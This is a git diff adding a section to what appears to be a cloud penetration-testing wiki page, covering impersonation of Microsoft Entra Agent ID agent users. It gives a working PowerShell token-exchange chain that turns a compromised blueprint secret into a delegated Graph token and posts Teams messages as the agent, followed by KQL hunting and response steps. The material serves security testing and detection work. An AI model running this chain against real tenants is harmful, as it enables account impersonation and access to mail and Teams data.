diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 887a5ae12..34a7bac96 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -1349,6 +1349,124 @@ Operational notes: - Generates **CSV/JSON request logs** for **Graph + SharePoint** and redacts embedded SharePoint download tokens by default (toggleable). - Supports **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, and **Ctrl+C-safe shutdown** for traffic shaping during detection/IR tests. + +## Entra Agent ID agent-user impersonation & Teams abuse + +Microsoft **Entra Agent ID** introduces **agent users** that can act as user-like identities in Microsoft 365/Teams, but they **don't authenticate with normal user credentials**. If an attacker compromises the **agent identity blueprint credential**, knows the **child agent identity ID**, and targets a **linked agent user UPN**, the attacker can complete the **agent-user OAuth token exchange** and obtain a **delegated Microsoft Graph token** as that agent user. + +### Agent-user token exchange + +The documented flow uses **three token requests** against `https://login.microsoftonline.com//oauth2/v2.0/token`: + +1. **Blueprint -> exchange token** using the blueprint credential and `fmi_path=` with scope `api://AzureADTokenExchange/.default` +2. **Agent identity -> agent token** using the previous token as `client_assertion` +3. **Agent user -> Graph token** using `grant_type=user_fic`, `user_federated_identity_credential=`, `username=`, and `requested_token_use=on_behalf_of` + +```powershell +$TargetEntraTenantID = '' +$BlueprintSecret = '' +$BlueprintID = '' +$TargetAgentIdentityId = '' +$TargetLinkedAgentUserAccount = '' + +# 1. Blueprint -> exchange token +$Result = Invoke-WebRequest -Uri "https://login.microsoftonline.com/$TargetEntraTenantID/oauth2/v2.0/token" -Method Post -ContentType 'application/x-www-form-urlencoded' -Body @" +client_id=$BlueprintID +&client_secret=$BlueprintSecret +&fmi_path=$TargetAgentIdentityId +&grant_type=client_credentials +&scope=api://AzureADTokenExchange/.default +"@ +$Token = $Result.Content | ConvertFrom-Json + +# 2. Agent identity -> token +$Result = Invoke-WebRequest -Uri "https://login.microsoftonline.com/$TargetEntraTenantID/oauth2/v2.0/token" -Method Post -ContentType 'application/x-www-form-urlencoded' -Body @" +client_id=$TargetAgentIdentityId +&scope=api://AzureADTokenExchange/.default +&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer +&client_assertion=$($Token.access_token) +&grant_type=client_credentials +"@ +$BearerToken = $Result.Content | ConvertFrom-Json + +# 3. Agent user -> delegated Graph token +$Result = Invoke-WebRequest -Uri "https://login.microsoftonline.com/$TargetEntraTenantID/oauth2/v2.0/token" -Method Post -ContentType 'application/x-www-form-urlencoded' -Body @" +client_id=$TargetAgentIdentityId +&scope=https://graph.microsoft.com/.default +&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer +&client_assertion=$($Token.access_token) +&user_federated_identity_credential=$($BearerToken.access_token) +&username=$TargetLinkedAgentUserAccount +&grant_type=user_fic +&requested_token_use=on_behalf_of +"@ +$AgentUserBearerToken = $Result.Content | ConvertFrom-Json +Connect-MgGraph -AccessToken (ConvertTo-SecureString -String $AgentUserBearerToken.access_token -AsPlainText -Force) +``` + +If successful, the resulting token can perform any Graph action allowed by the agent user's delegated scopes (for example **`ChannelMessage.Send`**, **`Team.ReadBasic.All`**, **`Group.Read.All`**, **`Mail.ReadWrite`**, **`MailboxSettings.ReadWrite`**). + +### Send Teams messages as the agent user + +Once connected to Graph with the delegated token, the attacker can enumerate the target Team/channel and post as the linked agent user: + +```powershell +$TargetTeam = Get-MgBetaTeam -Filter "displayName eq 'Our Team'" +$TeamChannel = Get-MgBetaTeamChannel -TeamId $TargetTeam.Id -Filter "displayName eq 'General'" + +New-MgBetaTeamChannelMessage -TeamId $TargetTeam.Id -ChannelId $TeamChannel.Id -Body @{ + contentType = 'html' + content = 'Greetings from your robot overlords.' +} +``` + +At the HTTP layer this appears as a **`POST`** to: + +```text +https://graph.microsoft.com/beta/teams//channels//messages +``` + +### Hunting / attribution pivot + +Do **not** rely only on the Teams/Purview **`ClientIP`** for attribution because it may be a **Microsoft infrastructure IP**. + +To reconstruct the real source of a suspicious Teams message sent by an agent user: + +1. Start from Purview **`MessageReported`**, **`MessageSent`**, or **`MessageCreatedHasLink`** and recover the **`MessageId`**, sender object ID, channel/team, and any URLs. +2. Extract **`AppAccessContext.UniqueTokenId`**. +3. Pivot that value into: + - **`MicrosoftGraphActivityLogs.SignInActivityId`** to recover the real **source IP**, **user-agent**, **request method**, **Graph URI**, **HTTP status**, **AppId**, **session ID**, and **OAuth scopes**. + - **`AADNonInteractiveUserSignInLogs.UniqueTokenIdentifier`** to confirm the sender is an **agent user** and recover **`Agent.agentSubjectType=agentIDuser`**, **`Agent.agentType=agenticAppInstance`**, **`ClientCredentialType=federatedIdentityCredential`**, agent parent IDs, CA status, and other sign-in context. + +Useful KQL hunting logic: + +```kusto +AADNonInteractiveUserSignInLogs +| where ResourceDisplayName == "Microsoft Graph" +| where ClientCredentialType == "federatedIdentityCredential" +| where tostring(Agent.agentSubjectType) == "agentIDuser" +| project TimeGenerated, UserPrincipalName, UserId, IPAddress, UserAgent, + AppDisplayName, AppId, SessionId, UniqueTokenIdentifier, + Agent, ConditionalAccessStatus +``` + +> [!TIP] +> Agent users **don't generate normal interactive `SigninLogs`**. Hunt them in **`AADNonInteractiveUserSignInLogs`** and correlate with **`MicrosoftGraphActivityLogs`** via the token/session identifiers. + +### Response ideas + +- **Soft-delete** a malicious Teams message via Graph: + +```powershell +Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/beta/teams//channels//messages//softDelete" +``` + +- **Disable** the suspicious agent user (requires appropriate Graph permissions such as **`AgentIdUser.ReadWrite.All`**): + +```powershell +Update-MgBetaUser -UserId -AccountEnabled:$false +``` + ## Entra ID Privilege Escalation {{#ref}} @@ -1417,6 +1535,9 @@ The default mode is **Audit**: ## References +- [Investigating suspicious AI workflows in Microsoft Entra Agent ID: Agent's user account](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows-teams/) +- [Agent's user account impersonation protocol - Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-user-oauth-flow) +- [Authentication protocols in agents - Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-oauth-protocols) - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) - [SharePointDumper](https://github.com/zh54321/SharePointDumper) - [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)